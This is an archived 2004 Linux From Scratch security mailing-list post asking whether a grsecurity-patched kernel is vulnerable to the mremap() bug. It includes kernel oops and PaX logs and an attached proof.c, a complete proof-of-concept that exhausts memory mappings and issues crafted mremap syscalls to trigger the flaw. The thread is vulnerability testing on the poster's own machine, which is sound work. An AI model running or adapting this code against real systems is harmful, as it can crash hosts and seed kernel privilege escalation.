Re: New mremap bug
Jonas Norlander <[email protected]> Sat, 21 Feb 2004 01:02:26 +0100
| Newsgroups | gmane.linux.lfs.security |
|---|---|
| Message-ID | <20040221000226.GA4746@venus> |
On Wed, Feb 18, 2004 at 10:05:07PM +0100, Jonas Norlander wrote: > On Wed, Feb 18, 2004 at 06:34:20PM +0000, Christophe Devine wrote: > > Billy O'Connor <[email protected]> wrote: > > > > > > For those of you who'd want to test for this vulnerability, > > > > I've written some simple exploit code: > > > > http://linuxfromscratch.org/~devine/mremap_poc_2.c > > > > > With MREMAP_MAYMOVE | MREMAP_FIXED, I segfaulted, with MREMAP_MAYMOVE > > > alone, it ran. > > > > Have a look at the kernel messages with dmesg, if you see stuff like: > > > > kernel BUG at mmap.c:1194! > > invalid operand: 0000 > > CPU: 0 > > EIP: 0010:[<c01239b5>] Not tainted > > > > Then your kernel is almost certainly vulnerable. There's no root exploit > > available yet though ;-) > > > > Hi! > > I running kernel 2.4.24 with grsecurity 1.9.13 and propolic pathes. > > Steve Bremer wrote to the bugtraq list: > -8<------- > I think it's worth noting that those who have been using either the > 2.4.23-ow2 or the 2.4.24-ow1 kernel patches from the Openwall Project > are not vulnerable to this latest mremap() bug > -8<------- > > As i understanding it I should not be vulnerable to this bug > as grsecurity and Openwall is protecting for the same thing but i got > this output when running "mremap_poc_2.c". > > ./a.out > mmap: Cannot allocate memory > created ~65881 VMAs > now mremapping 0x40561000 at 0x4055D000 > Segmentation fault > > And this in the log: > : > kernel: kernel BUG at mmap.c:1424! > kernel: invalid operand: 0000 > kernel: CPU: 0 > kernel: EIP: 0010:[insert_vm_struct+61/176] Not tainted > kernel: EFLAGS: 00010287 > kernel: eax: 40546000 ebx: caf8a780 ecx: caf8a780 edx: caf8a6c0 > kernel: esi: caf8a764 edi: caf8a7c4 ebp: 00001000 esp: ca69bee4 > kernel: ds: 0018 es: 0018 ss: 0018 > kernel: Process a.out (pid: 29271, stackpage=ca69b000) > kernel: Stack: caf8a780 caf8a764 caf8a7c4 00001000 00001000 c01a61a4 cce9f140 c01a6230 > kernel: cce9f140 caf8a780 ca69a000 00001000 cce9f15c ffff0001 00000002 00000000 > kernel: caf8a780 cce9f140 caf8a720 caf8a660 c01a630a 40549000 00001000 00001000 > kernel: Call Trace: [do_mremap+1800/2092] [do_mremap+1940/2092] [sys_mremap+66/96] [system_call+51/80] [system_call+77/80] > kernel: > kernel: Code: 0f 0b 90 05 21 42 2a c0 8b 6c 24 10 8b 7c 24 14 8b 74 24 18 > > Do I need to worry? > > /Jonas > Another poc from bugtraq (attached). With this poc on the same kernel with grsecurity my system is not vulnerable. So which should i trust? [jonas@venus ~/download/fixmremap2]$ ./proof Killed [root@venus ~]# tail -n 5 /var/log/sys.log Feb 21 00:37:46 venus kernel: <3>PAX: From 192.168.7.1: execution attempt in: <anonymous mapping>, 08048000-08049000 00000000 Feb 21 00:37:46 venus kernel: PAX: From 192.168.7.1: terminating task: /home/jonas/download/fixmremap2/proof(proof):24483, uid/euid: 1001/1001, PC: 08048af9, SP: 5da78a10 Feb 21 00:37:46 venus kernel: PAX: bytes at PC: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Feb 21 00:37:46 venus kernel: grsec: From 192.168.7.1: attempted resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 by (proof:24483) UID(1001) EUID(1001), parent (bash:7410) UID(1001) EUID(1001) /Jonas -- http://linuxfromscratch.org/mailman/listinfo/lfs-security FAQ: http://www.linuxfromscratch.org/faq/ Unsubscribe: See the above information page
proof.c
(text/plain, 1.8 KB)
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
struct vma_region {
unsigned long s,e;
struct vma_region *next;
};
long do_mremap(unsigned long addr,unsigned long len,unsigned long new_addr,unsigned long new_len,unsigned long flags) {
long ret;
asm volatile ("movl $163,%%eax\nint $0x80" :"=a"(ret) : "b"(addr),"c"(len),"d"(new_len),"S"(flags),"D"(new_addr));
return (void *)ret;
}
int main(int argc,char *argv[]) {
int x=0,c=0;
FILE *f;
void *vma1,*vma2;
long ret;
struct vma_region *vmr=malloc(sizeof(struct vma_region)),*c_vmr;
vmr->next=NULL;
c_vmr=vmr;
vma1=mmap((void *)0x1DCD0000,4096*10,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0);
if (vma1 < 0) {
perror("vma1");
return 1;
}
vma2=mmap((void *)0x1ECD0000,4096*5,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0);
if (vma2 < 0) {
perror("vma2");
return 1;
}
f=fopen("/proc/self/maps","r");
while (!feof(f)) {
char buf[256];
if (!fgets(buf,sizeof(buf),f))
break;
if (sscanf(buf,"%lx-%lx",&c_vmr->s,&c_vmr->e)!=2)
continue;
c_vmr=c_vmr->next=malloc(sizeof(struct vma_region));
}
c_vmr->next=NULL;
fclose(f);
do {
unsigned long addr=2*x*4096;
for (c_vmr=vmr;c_vmr->next;c_vmr=c_vmr->next)
if (c_vmr->s <= addr && c_vmr->e >= addr)
goto _skip;
if (mmap((void *)addr,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0) < 0) {
perror("mmap failed");
break;
} else
c++;
_skip:;
} while (++x && c <= 65536);
ret=do_mremap(0x1ECD0000+4096,3*4096,0x1ECD0000,2*4096,1);
if (ret < 0)
printf("mremap failed\n");
printf("ret: 0x%lx\n",ret);
if (do_mremap(0x1ECD0000,5*4096,0x1DCD0000+4096,5*4096,3) < 0)
printf("mremap failed\n");
}